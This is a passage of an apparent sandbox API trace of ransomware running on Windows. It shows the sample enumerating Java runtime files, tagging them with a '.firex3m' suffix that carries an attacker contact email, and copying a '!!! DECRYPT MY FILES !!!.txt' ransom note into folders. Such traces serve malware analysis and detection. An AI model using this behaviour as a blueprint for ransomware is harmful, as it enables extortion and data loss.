lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.960] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.960] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.960] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.961] GetProcessHeap () returned 0x630000 [0118.961] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a17d8, Size=0xdc) returned 0x707a48 [0118.961] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="win32_MoveNoDrop32x32.gif", cAlternateFileName="WIE2D6~1.GIF")) returned 1 [0118.961] SysReAllocStringLen (in: pbstr=0x6ebe878*="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", len=0x4f | out: pbstr=0x6ebe878*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 1 [0118.961] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", cchLength=0x4f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif") returned 0x4f [0118.961] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.961] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.961] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.961] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.961] GetProcessHeap () returned 0x630000 [0118.961] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707a48, Size=0xe0) returned 0x707b30 [0118.961] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.961] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0118.962] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.962] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0118.962] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0118.962] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties", len=0x38 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 1 [0118.962] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties", cchLength=0x38 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties") returned 0x38 [0118.962] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.962] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.962] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.963] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.963] GetProcessHeap () returned 0x630000 [0118.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707b30, Size=0xe4) returned 0x682a48 [0118.963] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8e40a9d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8e40a9d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8e66d0e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe6827, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.jar", cAlternateFileName="")) returned 1 [0118.963] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", len=0x31 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar") returned 1 [0118.963] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar", cchLength=0x31 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar") returned 0x31 [0118.963] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.963] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.963] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.963] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.963] GetProcessHeap () returned 0x630000 [0118.963] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x682a48, Size=0xe8) returned 0x682a48 [0118.963] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="jce.jar", cAlternateFileName="")) returned 1 [0118.964] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", len=0x2e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 1 [0118.964] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar") returned 0x2e [0118.964] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.964] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.964] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.964] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.964] GetProcessHeap () returned 0x630000 [0118.964] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x682a48, Size=0xec) returned 0x6a3ff0 [0118.964] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr", cAlternateFileName="")) returned 1 [0118.964] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\", len=0x2b | out: pbstr=0x6ebeb48*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\") returned 1 [0118.964] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\", cchLength=0x2b | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\") returned 0x2b [0118.964] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0118.964] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0118.965] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x63030c, cFileName=".", cAlternateFileName="")) returned 0x6d52c0 [0118.965] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.965] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.jfc", cAlternateFileName="")) returned 1 [0118.965] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc", len=0x36 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 1 [0118.965] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc", cchLength=0x36 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 0x36 [0118.966] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.966] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.966] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.966] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.966] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0118.966] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0118.966] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xa8c50c02, dwReserved1=0x1d327cc, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5200 [0118.966] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0118.966] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0118.969] GetProcessHeap () returned 0x630000 [0118.969] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a3ff0, Size=0xf0) returned 0x6a3ff0 [0118.970] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e61, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 1 [0118.970] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc", len=0x36 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 1 [0118.970] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc", cchLength=0x36 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 0x36 [0118.970] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.970] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.970] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.970] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.970] GetProcessHeap () returned 0x630000 [0118.970] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a3ff0, Size=0xf4) returned 0x6a3ff0 [0118.970] FindNextFileW (in: hFindFile=0x6d52c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.970] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0118.971] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0118.971] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", len=0x2e | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 1 [0118.971] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar", cchLength=0x2e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar") returned 0x2e [0118.971] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.971] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.971] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.971] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.971] GetProcessHeap () returned 0x630000 [0118.971] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a3ff0, Size=0xf8) returned 0x6a3ff0 [0118.971] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x848c, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfxswt.jar", cAlternateFileName="")) returned 1 [0118.971] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", len=0x31 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 1 [0118.971] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar", cchLength=0x31 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 0x31 [0118.972] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.972] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.972] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.972] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.972] GetProcessHeap () returned 0x630000 [0118.972] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6a3ff0, Size=0xfc) returned 0x649458 [0118.972] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76f896, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa76f896, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa76f896, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsse.jar", cAlternateFileName="")) returned 1 [0118.972] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 1 [0118.972] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar") returned 0x2f [0118.972] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.972] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.972] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.972] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.973] GetProcessHeap () returned 0x630000 [0118.973] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x100) returned 0x649458 [0118.973] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.hprof.txt", cAlternateFileName="JVMHPR~1.TXT")) returned 1 [0118.973] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt") returned 1 [0118.973] CharLowerBuffW (in: lpsz="C:\\Program 